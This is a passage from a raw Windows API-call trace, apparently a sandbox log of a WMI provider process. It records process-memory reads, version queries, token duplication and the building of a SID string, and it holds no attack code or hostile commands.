_Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="2740") returned 4 [0248.363] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.363] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.380] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab4) returned 0x300 [0248.380] GetLastError () returned 0x0 [0248.380] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.380] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x385018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.381] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.381] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x401c90, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.381] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4018c8, lpBuffer=0x67117c450, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.382] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.384] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.384] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x385020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.384] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x4012b0, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.384] malloc (_Size=0x64) returned 0x196ef0d0370 [0248.384] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x401926, lpBuffer=0x196ef0d0370, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0370*, lpNumberOfBytesRead=0x0) returned 1 [0248.385] free (_Block=0x196ef0d0370) [0248.386] CloseHandle (hObject=0x300) returned 1 [0248.386] _ui64tow_s (in: _Value=0x136c, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="4972") returned 0x0 [0248.391] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="4972") returned 4 [0248.392] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.392] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.425] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x136c) returned 0x300 [0248.425] GetLastError () returned 0x0 [0248.426] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.426] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x49d0568018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.426] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.426] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1bd3c7c1d60, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.426] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1bd3c7c1948, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.428] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.430] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.430] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x49d0568020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.430] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1bd3c7c1330, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.430] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0248.430] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1bd3c7c1988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0248.432] free (_Block=0x196ef0d4e70) [0248.432] CloseHandle (hObject=0x300) returned 1 [0248.433] _ui64tow_s (in: _Value=0xd24, _Buffer=0x67117d620, _BufferCount=0x104, _Radix=10 | out: _Buffer="3364") returned 0x0 [0248.438] _vsnwprintf (in: _Buffer=0x67117d340, _BufferCount=0x103, _Format="%lu", _ArgList=0x67117c6c8 | out: _Buffer="3364") returned 4 [0248.439] GetVersionExW (in: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x67117c780*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0248.439] _vsnwprintf (in: _Buffer=0x67117d130, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x67117c6c8 | out: _Buffer="10.0.10586") returned 10 [0248.504] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd24) returned 0x300 [0248.504] GetLastError () returned 0x0 [0248.505] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c720, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c720, ReturnLength=0x0) returned 0x0 [0248.505] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0xa54998018, lpBuffer=0x67117c6f0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6f0*, lpNumberOfBytesRead=0x0) returned 1 [0248.505] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x67117c6e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c6e0*, lpNumberOfBytesRead=0x0) returned 1 [0248.505] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1fea1081d60, lpBuffer=0x67117cb00, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117cb00*, lpNumberOfBytesRead=0x0) returned 1 [0248.505] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1fea1081948, lpBuffer=0x67117c450, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c450*, lpNumberOfBytesRead=0x0) returned 1 [0248.519] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x1, ProcessInformation=0x67117c750, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c750, ReturnLength=0x0) returned 0x0 [0248.520] NtQueryInformationProcess (in: ProcessHandle=0x300, ProcessInformationClass=0x0, ProcessInformation=0x67117c228, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x67117c228, ReturnLength=0x0) returned 0x0 [0248.520] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0xa54998020, lpBuffer=0x67117c210, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c210*, lpNumberOfBytesRead=0x0) returned 1 [0248.520] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1fea1081330, lpBuffer=0x67117c260, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x67117c260*, lpNumberOfBytesRead=0x0) returned 1 [0248.521] malloc (_Size=0xf0) returned 0x196ef0d4e70 [0248.521] ReadProcessMemory (in: hProcess=0x300, lpBaseAddress=0x1fea1081988, lpBuffer=0x196ef0d4e70, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4e70*, lpNumberOfBytesRead=0x0) returned 1 [0248.521] free (_Block=0x196ef0d4e70) [0248.523] CloseHandle (hObject=0x300) returned 1 [0248.525] free (_Block=0x196ef0d7d70) [0248.525] malloc (_Size=0x48) returned 0x196ef0fb680 [0248.525] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d5a0 | out: lpSystemTimeAsFileTime=0x67117d5a0*(dwLowDateTime=0x74fd4fcb, dwHighDateTime=0x1d9eb0c)) [0248.526] SetEvent (hEvent=0x248) returned 1 [0248.583] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x4) returned 0x196ef225f10 [0248.584] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ef225f10, pulNumLanguages=0x67117dff0 | out: pulNumLanguages=0x67117dff0) returned 1 [0248.584] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225f10) returned 1 [0248.584] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef225ce0) returned 1 [0251.852] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0251.856] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f2120 [0251.857] memcpy (in: _Dst=0x196ef1f2120, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f2120) returned 0x196ef1f2120 [0251.857] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bd900 [0251.857] memcpy (in: _Dst=0x196ee7bd900, _Src=0x196ef1f2120, _Size=0x2c | out: _Dst=0x196ee7bd900) returned 0x196ee7bd900 [0251.857] memcpy (in: _Dst=0x196ee7bd92c, _Src=0x196ee79a698, _Size=0x10 | out: _Dst=0x196ee7bd92c) returned 0x196ee7bd92c [0251.857] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f2120) returned 1 [0251.858] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bdef0 [0251.858] memcpy (in: _Dst=0x196ee7bdef0, _Src=0x196ee7bd900, _Size=0x3a | out: _Dst=0x196ee7bdef0) returned 0x196ee7bdef0 [0251.858] memcpy (in: _Dst=0x196ee7bdf2a, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bdf2a) returned 0x196ee7bdf2a [0251.858] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bd900) returned 1 [0251.866] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e650 [0251.866] memcpy (in: _Dst=0x196ee85e650, _Src=0x196ee79a698, _Size=0x10 | out: _Dst=0x196ee85e650) returned 0x196ee85e650 [0251.867] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0251.893] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0251.897] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x2e) returned 0x196ef1f2660 [0251.897] memcpy (in: _Dst=0x196ef1f2660, _Src=0x7ffa6b7ffc30, _Size=0x2e | out: _Dst=0x196ef1f2660) returned 0x196ef1f2660 [0251.897] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3c) returned 0x196ee7bd680 [0251.897] memcpy (in: _Dst=0x196ee7bd680, _Src=0x196ef1f2660, _Size=0x2c | out: _Dst=0x196ee7bd680) returned 0x196ee7bd680 [0251.897] memcpy (in: _Dst=0x196ee7bd6ac, _Src=0x196ee79a698, _Size=0x10 | out: _Dst=0x196ee7bd6ac) returned 0x196ee7bd6ac [0251.898] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef1f2660) returned 1 [0251.898] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x3e) returned 0x196ee7bd770 [0251.898] memcpy (in: _Dst=0x196ee7bd770, _Src=0x196ee7bd680, _Size=0x3a | out: _Dst=0x196ee7bd770) returned 0x196ee7bd770 [0251.898] memcpy (in: _Dst=0x196ee7bd7aa, _Src=0x7ffa6b7ffc60, _Size=0x4 | out: _Dst=0x196ee7bd7aa) returned 0x196ee7bd7aa [0251.898] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7bd680) returned 1 [0251.908] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x10) returned 0x196ee85e6b0 [0251.908] memcpy (in: _Dst=0x196ee85e6b0, _Src=0x196ee79a698, _Size=0x10 | out: _Dst=0x196ee85e6b0) returned 0x196ee85e6b0 [0251.909] memcpy (in: _Dst=0x196ee85d740, _Src=0x196ee85d748, _Size=0x0 | out: _Dst=0x196ee85d740) returned 0x196ee85d740 [0257.070] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0260.633] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0271.393] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0282.668] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0286.207] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 [0297.377] ?AddRef@?$CImpl@UIWbemObjectTextSrc@@VCWmiObjectTextSrc@@@@UEAAKXZ () returned 0x2 Thread: id = 115 os_tid = 0x114c [0154.875] DllCanUnloadNow () returned 0x1 [0239.096] DllCanUnloadNow () returned 0x0 [0239.096] DllCanUnloadNow () returned 0x1 Thread: id = 116 os_tid = 0x1144 Thread: id = 117 os_tid = 0x1140 [0125.314] RtlRestoreLastWin32Error () returned 0x670db9000 [0125.314] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0125.314] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788330 [0125.314] RtlRestoreLastWin32Error () returned 0x670db9000 [0125.314] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0 | out: pulNumLanguages=0x670ffdeb8, pwszLanguagesBuffer=0x196ee788330, pcchLanguagesBuffer=0x670ffddb0) returned 1 [0125.314] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x8) returned 0x196ee788350 [0125.314] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee788330) returned 1 [0125.314] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x14) returned 0x196ee7a7880 [0125.315] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x196ee7a7880, pulNumLanguages=0x670ffdeb8 | out: pulNumLanguages=0x670ffdeb8) returned 1 [0125.315] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7a7880) returned 1 [0125.317] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0125.318] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0125.318] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0125.318] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0125.318] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0125.321] GetCurrentThread () returned 0xfffffffffffffffe [0125.321] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0x670ffc740 | out: TokenHandle=0x670ffc740*=0x328) returned 1 [0125.321] DuplicateTokenEx (in: hExistingToken=0x328, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0x670ffc758 | out: phNewToken=0x670ffc758*=0x33c) returned 1 [0125.321] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x0, ReturnLength=0x670ffc6e0) returned 0 [0125.321] GetLastError () returned 0x7a [0125.321] malloc (_Size=0x2c) returned 0x196ef0d0dd0 [0125.321] GetTokenInformation (in: TokenHandle=0x328, TokenInformationClass=0x1, TokenInformation=0x196ef0d0dd0, TokenInformationLength=0x2c, ReturnLength=0x670ffc6e0 | out: TokenInformation=0x196ef0d0dd0, ReturnLength=0x670ffc6e0) returned 1 [0125.321] IsValidSid (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0125.321] GetLengthSid (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x1c [0125.321] malloc (_Size=0x1c) returned 0x196ef0f9fd0 [0125.321] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x196ef0f9fd0, pSourceSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)) | out: pDestinationSid=0x196ef0f9fd0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 1 [0125.321] GetSidIdentifierAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0de2 [0125.321] malloc (_Size=0x18) returned 0x196ef0d1d40 [0125.321] _ultow (in: _Dest=0x5, _Radix=1895810256 | out: _Dest=0x5) returned="5" [0125.321] malloc (_Size=0x18) returned 0x196ef0d1ac0 [0125.321] malloc (_Size=0x18) returned 0x196ef0d1a80 [0125.322] SysStringLen (param_1="S-1-") returned 0x4 [0125.322] SysStringLen (param_1="5") returned 0x1 [0125.322] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c71c8, _Size=0xa | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0125.322] memcpy (in: _Dst=0x196ee7aab40, _Src=0x196ee7c7228, _Size=0x4 | out: _Dst=0x196ee7aab40) returned 0x196ee7aab40 [0125.322] free (_Block=0x196ef0d1d40) [0125.322] free (_Block=0x196ef0d1ac0) [0125.322] GetSidSubAuthorityCount (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65))) returned 0x196ef0d0de1 [0125.322] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x0) returned 0x196ef0d0de8 [0125.322] _ultow (in: _Dest=0x15, _Radix=1895810256 | out: _Dest=0x15) returned="21" [0125.322] malloc (_Size=0x18) returned 0x196ef0d1c40 [0125.322] malloc (_Size=0x18) returned 0x196ef0d1b40 [0125.322] SysStringLen (param_1="S-1-5") returned 0x5 [0125.322] SysStringLen (param_1="-") returned 0x1 [0125.322] memcpy (in: _Dst=0x196ee7c7228, _Src=0x196ee7aab38, _Size=0xc | out: _Dst=0x196ee7c7228) returned 0x196ee7c7228 [0125.322] memcpy (in: _Dst=0x196ee7c7232, _Src=0x196ee7c71c8, _Size=0x4 | out: _Dst=0x196ee7c7232) returned 0x196ee7c7232 [0125.322] free (_Block=0x196ef0d1a80) [0125.322] free (_Block=0x196ef0d1c40) [0125.322] malloc (_Size=0x18) returned 0x196ef0d19c0 [0125.322] malloc (_Size=0x18) returned 0x196ef0d1b00 [0125.322] SysStringLen (param_1="S-1-5-") returned 0x6 [0125.322] SysStringLen (param_1="21") returned 0x2 [0125.323] memcpy (in: _Dst=0x196ee7c71c8, _Src=0x196ee7c7228, _Size=0xe | out: _Dst=0x196ee7c71c8) returned 0x196ee7c71c8 [0125.323] memcpy (in: _Dst=0x196ee7c71d4, _Src=0x196ee7aab38, _Size=0x6 | out: _Dst=0x196ee7c71d4) returned 0x196ee7c71d4 [0125.323] free (_Block=0x196ef0d1b40) [0125.323] free (_Block=0x196ef0d19c0) [0125.323] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x1) returned 0x196ef0d0dec [0125.323] _ultow (in: _Dest=0x5cffa865, _Radix=1895810256 | out: _Dest=0x5cffa865) returned="1560258661" [0125.323] malloc (_Size=0x18) returned 0x196ef0d19a0 [0125.323] malloc (_Size=0x18) returned 0x196ef0d19c0 [0125.323] SysStringLen (param_1="S-1-5-21") returned 0x8 [0125.323] SysStringLen (param_1="-") returned 0x1 [0125.323] memcpy (in: _Dst=0x196ee7aab38, _Src=0x196ee7c71c8, _Size=0x12 | out: _Dst=0x196ee7aab38) returned 0x196ee7aab38 [0125.323] memcpy (in: _Dst=0x196ee7aab48, _Src=0x196ee7c7228, _Size=0x4 | out: _Dst=0x196ee7aab48) returned 0x196ee7aab48 [0125.323] free (_Block=0x196ef0d1b00) [0125.323] free (_Block=0x196ef0d19a0) [0125.323] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0125.323] malloc (_Size=0x18) returned 0x196ef0d1e60 [0125.323] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0125.323] SysStringLen (param_1="1560258661") returned 0xa [0125.323] memcpy (in: _Dst=0x196ee777d98, _Src=0x196ee7aab38, _Size=0x14 | out: _Dst=0x196ee777d98) returned 0x196ee777d98 [0125.323] memcpy (in: _Dst=0x196ee777daa, _Src=0x196ee7c71c8, _Size=0x16 | out: _Dst=0x196ee777daa) returned 0x196ee777daa [0125.324] free (_Block=0x196ef0d19c0) [0125.324] free (_Block=0x196ef0d1ba0) [0125.324] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x2) returned 0x196ef0d0df0 [0125.324] _ultow (in: _Dest=0xeddecfcf, _Radix=1895810256 | out: _Dest=0xeddecfcf) returned="3990802383" [0125.324] malloc (_Size=0x18) returned 0x196ef0d1e20 [0125.324] malloc (_Size=0x18) returned 0x196ef0d1cc0 [0125.324] SysStringLen (param_1="S-1-5-21-1560258661") returned 0x13 [0125.324] SysStringLen (param_1="-") returned 0x1 [0125.324] memcpy (in: _Dst=0x196ee7774d8, _Src=0x196ee777d98, _Size=0x28 | out: _Dst=0x196ee7774d8) returned 0x196ee7774d8 [0125.324] memcpy (in: _Dst=0x196ee7774fe, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7774fe) returned 0x196ee7774fe [0125.324] free (_Block=0x196ef0d1e60) [0125.324] free (_Block=0x196ef0d1e20) [0125.324] malloc (_Size=0x18) returned 0x196ef0d1e60 [0125.324] malloc (_Size=0x18) returned 0x196ef0d19a0 [0125.324] SysStringLen (param_1="S-1-5-21-1560258661-") returned 0x14 [0125.324] SysStringLen (param_1="3990802383") returned 0xa [0125.324] memcpy (in: _Dst=0x196ee7bc398, _Src=0x196ee7774d8, _Size=0x2a | out: _Dst=0x196ee7bc398) returned 0x196ee7bc398 [0125.347] memcpy (in: _Dst=0x196ee7bc3c0, _Src=0x196ee7aab38, _Size=0x16 | out: _Dst=0x196ee7bc3c0) returned 0x196ee7bc3c0 [0125.347] free (_Block=0x196ef0d1cc0) [0125.347] free (_Block=0x196ef0d1e60) [0125.348] GetSidSubAuthority (pSid=0x196ef0d0de0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x65)), nSubAuthority=0x3) returned 0x196ef0d0df4 [0125.348] _ultow (in: _Dest=0x6bfcce57, _Radix=1895810256 | out: _Dest=0x6bfcce57) returned="1811730007" [0125.348] malloc (_Size=0x18) returned 0x196ef0d1a60 [0125.348] malloc (_Size=0x18) returned 0x196ef0d1bc0 [0125.348] SysStringLen (param_1="S-1-5-21-1560258661-3990802383") returned 0x1e [0125.348] SysStringLen (param_1="-") returned 0x1 [0125.348] memcpy (in: _Dst=0x196ee7a4f58, _Src=0x196ee7bc398, _Size=0x3e | out: _Dst=0x196ee7a4f58) returned 0x196ee7a4f58 [0125.348] memcpy (in: _Dst=0x196ee7a4f94, _Src=0x196ee7aab38, _Size=0x4 | out: _Dst=0x196ee7a4f94) returned 0x196ee7a4f94 [0125.348] free (_Block=0x196ef0d19a0) [0125.348] free (_Block=0x196ef0d1a60) [0125.348] malloc (_Size=0x18) returned 0x196ef0d1d00 [0125.348] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0125.348] SysStringLen 